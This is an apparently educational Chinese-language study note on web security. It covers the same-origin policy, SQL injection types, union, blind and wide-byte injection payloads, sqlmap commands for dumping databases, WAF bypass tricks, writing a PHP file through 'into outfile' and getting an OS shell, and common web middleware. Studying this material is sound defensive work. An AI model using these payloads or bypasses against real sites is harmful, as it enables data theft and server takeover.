文章目录
- 基础知识
- 同源策略
- 常见web漏洞
- SQL注入漏洞
- web中间件
基础知识
同源策略
同源策略是目前所有浏览器都实行的一种安全政策。A网页设置的 Cookie,B网页不能打开,除非这两个网页同源。所谓同源,是指:协议、端口、域名相同。
常见web漏洞
SQL注入漏洞
1、SQL注入漏洞原理:Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。简单来说就是前端传给后端的参数用户可控;传入的参数被拼接到SQL语句且带入数据库查询。
2、SQL注入分类
- 以有无闭合字符分类:字符型、整数型
- 以数据传输方式分类:post类型、get类型
- 注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入
3、联合查询基本步骤
id=1' //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 order by <数字> # //判断字段数
id=1 and 1=2 union select 1,2,3, ... # //查看回显点
id=1 and 1=2 union select 1,2,database(), ... # //查看数据库名
id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') # //查看表名
id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') # //查看字段名
id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) # //查看字段内容
4、报错注入常用的函数
updatexml()
、extractvalue()
、floor()
5、mysql默认存在的哪个数据库,注入时经常用到?
mysql5.0之后,mysql默认存放Information_schema
,在该库中,有三个重要的表:SCHEMATA
、TABLES
、COLUMNS
。
6、时间盲注特点?常用函数?
场景:应用于无数据回显,无报错,布尔型盲注失效后 。
特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确。
常用函数:sleep()
、benchmark()
、if(expr1,expr2,expr3)
7、布尔盲注特点?常用函数?
特点:根据页面正确和错误的两种状态,来判断构造语句是否正确。
常用函数:length()
、substr()
、ascii()
。
8、宽字节注入
原理:当数据库编码为GBK时,且传入的引号被\
过滤,可以尝试宽字节注入。例如,传入%df'
,服务端对引号过滤,即添加反斜杠为%df\'
,带入数据库查询前经过GBK编码为運'
,反斜杠被吃掉。
9、Sqlmap基本用法
sqlmap
sqlmap -u "url" //-u选项是检测注入点
sqlmap -u "url" --dbs //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段 --dump是列出字段内容
10、SQL注入绕WAF姿势
- 大小写绕过,例如
and 1=1
写成And 1=1
; - 上写绕过,例如
anandd
; - 编码绕过。注意编码绕过的关键是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。
- 内联注释绕过,例如
/*!and*/
,会被解析为and
关键字; - 特殊函数替换
floor() ==> updatexml(),extractvalue() Substring() ==> Mid(),Substr(),Lpad(),Rpad(),Left() concat() ==> concat_ws(),group_concat() limit 0,1 ==> limit1 offset 0 and ==> && or ==> || = ==> <,> = ==> like sleep() ==> benchmark()
- %00截断绕过,例如:
?a=1%00.&id=1and sleep(3)
,部分waf在遇到%00
会认为参数读取已经结束
参考:WAF机制及绕过方法总结:注入篇
11、什么样的网站可能存在sql注入漏洞?
- 和数据库有数据交互的这种网站,比如一些用php,asp这一类动态脚本写的网站;
- 还有就是伪静态的网站,虽然看着是html的网站,但是实际上是动态网站和数据库有数据交互。
简单来说,就是注意与数据库有交互的地方可能存在SQL注入。
12、SQL注入挂马
前提条件:
-
数据库当前用户为root权限;
# 第一种方法 select group_concat(user,0x3a,file_priv) from mysql.user; #出现Y,这就代表你有文件权限,N就是没有 # 第二种方法 select user(); # 查看当前用户 # 第三种方法 sqlmap.py -u '<URL>' --is-dba # 查看当前用户是否为root用户
-
知道当前网站的绝对路径;
-
PHP的
magic_quotes_gpc
为off
状态;magic_quotes_gpc=on
说明php开启魔术引号,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。 -
写入的那个路径存在写入权限。
主要关注secure_file_priv
参数。secure_file_priv为NULL禁止导出文件secure_file_priv= secure_file_priv指定地址限制导出地址只能在此secure_file_priv=“D:/” secure_file_priv为空可以导出到任意文件secure_file_priv=
基于union联合查询:
?id=-1 union select 1,'<?php phpinfo();?>',3 into outfile '/tmp/shell.php' --+
?id=-1 union select 1,'<?php phpinfo();?>',3 into dumpfile '/tmp/shell.php' --+
因为linux下不是所有用户在
/var/www/html
下都具有写权限,所以这里只能写到/tmp
目录下。
基于union联合查询:
into outfile '/tmp/shell.php' fields terminated by '<?php phpinfo(); ?>' --+
sqlmp.py -u '<url>' --os-shell # 获取shell
web中间件
关于web服务器、web中间件、web容器之间的区别:web服务器、Web中间件和Web容器的区别
简单来说:
- Web服务器主要处理静态文件服务,提供基本的HTTP请求和响应功能。
- Web中间件提供丰富的功能和服务,包括处理动态内容、业务逻辑、安全性等。
- Web容器是Web中间件的一部分,专注于执行和管理Web应用程序的动态内容,如Servlet和JSP。
其实我们不用将这些概念分得这么细(暂且都叫web中间件),只需要知道web中间件上对应的语言类型即可。
常见的中间件类型:
ASP:IIS
PHP:Apache、Nginx
Java:Tomcat、Weblogic、Jboss、WebShere、GlassFish
JSP与javascript:
- JSP文件(以.jsp为后缀)是用于开发动态Web页面的Java技术,允许在HTML页面中嵌入Java代码。当JSP文件在服务器上被处理时,其中的Java代码被编译为可执行的Servlet。
- JavaScript文件(以.js为后缀)是一种脚本语言,用于在Web浏览器中实现交互性和动态性。它通常用于在HTML页面中编写脚本代码,以实现各种功能和交互效果。
待续。。。。